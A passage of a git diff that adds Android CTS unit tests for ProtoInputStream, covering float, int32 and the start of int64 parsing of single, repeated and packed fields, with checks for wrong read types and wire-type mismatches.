+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0xff,
+                // 8 -> Float.NaN
+                (byte) 0x42,
+                (byte) 0x08,
+                (byte) 0x00, (byte) 0x00, (byte) 0xc0, (byte) 0x7f,
+                (byte) 0x00, (byte) 0x00, (byte) 0xc0, (byte) 0x7f,
+                // 9 -> Float.POSITIVE_INFINITY
+                (byte) 0x4a,
+                (byte) 0x08,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x7f,
+                (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        float[][] results = new float[9][2];
+        int[] indices = new int[9];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readFloat(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readFloat(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readFloat(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readFloat(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readFloat(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5][indices[5]++] = pi.readFloat(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6][indices[6]++] = pi.readFloat(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    results[7][indices[7]++] = pi.readFloat(FIELD_ID_8);
+                    break;
+                case (int) FIELD_ID_9:
+                    results[8][indices[8]++] = pi.readFloat(FIELD_ID_9);
+                    break;
+                case (int) FIELD_ID_10:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+        assertEquals(0.0f, results[0][0]);
+        assertEquals(0.0f, results[0][1]);
+        assertEquals(1.0f, results[1][0]);
+        assertEquals(1.0f, results[1][1]);
+        assertEquals(-1234.432f, results[2][0]);
+        assertEquals(-1234.432f, results[2][1]);
+        assertEquals(42.42f, results[3][0]);
+        assertEquals(42.42f, results[3][1]);
+        assertEquals(Float.MIN_NORMAL, results[4][0]);
+        assertEquals(Float.MIN_NORMAL, results[4][1]);
+        assertEquals(Float.MIN_VALUE, results[5][0]);
+        assertEquals(Float.MIN_VALUE, results[5][1]);
+        assertEquals(Float.NEGATIVE_INFINITY, results[6][0]);
+        assertEquals(Float.NEGATIVE_INFINITY, results[6][1]);
+        assertEquals(Float.NaN, results[7][0]);
+        assertEquals(Float.NaN, results[7][1]);
+        assertEquals(Float.POSITIVE_INFINITY, results[8][0]);
+        assertEquals(Float.POSITIVE_INFINITY, results[8][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new float[0]);
+        testPackedCompat(new float[]{0, 1, -1234.432f, 42.42f,
+                Float.MIN_NORMAL, Float.MIN_VALUE, Float.NEGATIVE_INFINITY, Float.NaN,
+                Float.POSITIVE_INFINITY,
+        });
+    }
+
+    /**
+     * Implementation of testPackedCompat with a given value.
+     */
+    private void testPackedCompat(float[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_FLOAT;
+        final long FIELD_ID = fieldFlags | ((long) 22 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.floatFieldPacked = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        float[] result = new float[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readFloat(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.floatFieldPacked.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.floatFieldPacked[i], result[i]);
+        }
+    }
+
+    /**
+     * Test that using the wrong read method throws an exception
+     */
+    public void testBadReadType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FLOAT;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 1
+                (byte) 0x0d,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        ProtoInputStream pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBoolean(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readDouble(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readInt(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readLong(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBytes(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readString(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+    }
+
+    /**
+     * Test that unexpected wrong wire types will throw an exception
+     */
+    public void testBadWireType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FLOAT;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 : varint -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+                // 2 : fixed64 -> 0x1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 : length delimited -> { 1 }
+                (byte) 0x1a,
+                (byte) 0x04,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 : fixed32
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream);
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            try {
+                switch (pi.getFieldNumber()) {
+                    case (int) FIELD_ID_1:
+                        pi.readFloat(FIELD_ID_1);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_2:
+                        pi.readFloat(FIELD_ID_2);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_3:
+                        pi.readFloat(FIELD_ID_3);
+                        // don't fail, length delimited is ok (represents packed floats)
+                        break;
+                    case (int) FIELD_ID_6:
+                        pi.readFloat(FIELD_ID_6);
+                        // don't fail, fixed32 is ok
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            } catch (WireTypeMismatchException wtme) {
+                // good
+            }
+        }
+        stream.close();
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamInt32Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamInt32Test.java
new file mode 100644
index 0000000..5e86e3c
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamInt32Test.java
@@ -0,0 +1,564 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamInt32Test extends TestCase {
+
+    public void testRead() throws IOException {
+        testRead(0);
+        testRead(1);
+        testRead(5);
+    }
+
+    private void testRead(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_INT32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+                // 6 -> MAX_VALUE
+                (byte) 0x30,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 4 -> MIN_VALUE
+                (byte) 0x20,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 5 -> MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[] results = new int[5];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    fail("Should never reach this");
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0]);
+        assertEquals(1, results[1]);
+        assertEquals(-1, results[2]);
+        assertEquals(Integer.MIN_VALUE, results[3]);
+        assertEquals(Integer.MAX_VALUE, results[4]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testReadCompat() throws Exception {
+        testReadCompat(0);
+        testReadCompat(1);
+        testReadCompat(-1);
+        testReadCompat(Integer.MIN_VALUE);
+        testReadCompat(Integer.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testReadCompat with a given value.
+     */
+    private void testReadCompat(int val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_INT32;
+        final long FIELD_ID = fieldFlags | ((long) 30 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.int32Field = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        int result = 0; // start off with default value
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.int32Field, result);
+    }
+
+    public void testRepeated() throws IOException {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    private void testRepeated(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_INT32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x08,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 4 -> MIN_VALUE
+                (byte) 0x20,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 5 -> MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                // 6 -> MAX_VALUE
+                (byte) 0x30,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x08,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 4 -> MIN_VALUE
+                (byte) 0x20,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 5 -> MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[][] results = new int[5][2];
+        int[] indices = new int[5];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new int[0]);
+        testRepeatedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testRepeatedCompat(int[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_INT32;
+        final long FIELD_ID = fieldFlags | ((long) 31 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.int32FieldRepeated = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        int[] result = new int[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.int32FieldRepeated.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.int32FieldRepeated[i], result[i]);
+        }
+    }
+
+    public void testPacked() throws IOException {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    private void testPacked(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_INT32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x02,
+                (byte) 0x00,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x12,
+                (byte) 0x02,
+                (byte) 0x01,
+                (byte) 0x01,
+
+                // 6 -> MAX_VALUE
+                (byte) 0x32,
+                (byte) 0x0a,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                // 3 -> -1
+                (byte) 0x1a,
+                (byte) 0x14,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                // 4 -> MIN_VALUE
+                (byte) 0x22,
+                (byte) 0x14,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                // 5 -> MAX_VALUE
+                (byte) 0x2a,
+                (byte) 0x0a,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[][] results = new int[5][2];
+        int[] indices = new int[5];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new int[0]);
+        testPackedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testPackedCompat(int[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_INT32;
+        final long FIELD_ID = fieldFlags | ((long) 32 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.int32FieldPacked = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        int[] result = new int[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.int32FieldPacked.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.int32FieldPacked[i], result[i]);
+        }
+    }
+
+    /**
+     * Test that using the wrong read method throws an exception
+     */
+    public void testBadReadType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_INT32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+        };
+
+        ProtoInputStream pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readFloat(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readDouble(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBoolean(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readLong(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBytes(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readString(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+    }
+
+    /**
+     * Test that unexpected wrong wire types will throw an exception
+     */
+    public void testBadWireType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_INT32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 : varint -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+                // 2 : fixed64 -> 0x1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 : length delimited -> { 1 }
+                (byte) 0x1a,
+                (byte) 0x01,
+                (byte) 0x01,
+                // 6 : fixed32
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream);
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            try {
+                switch (pi.getFieldNumber()) {
+                    case (int) FIELD_ID_1:
+                        pi.readInt(FIELD_ID_1);
+                        // don't fail, varint is ok
+                        break;
+                    case (int) FIELD_ID_2:
+                        pi.readInt(FIELD_ID_2);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_3:
+                        pi.readInt(FIELD_ID_3);
+                        // don't fail, length delimited is ok (represents packed int32)
+                        break;
+                    case (int) FIELD_ID_6:
+                        pi.readInt(FIELD_ID_6);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            } catch (WireTypeMismatchException wtme) {
+                // good
+            }
+        }
+        stream.close();
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamInt64Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamInt64Test.java
new file mode 100644
index 0000000..caa8b2af
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamInt64Test.java
@@ -0,0 +1,644 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamInt64Test extends TestCase {
+
+    public void testRead() throws IOException {
+        testRead(0);
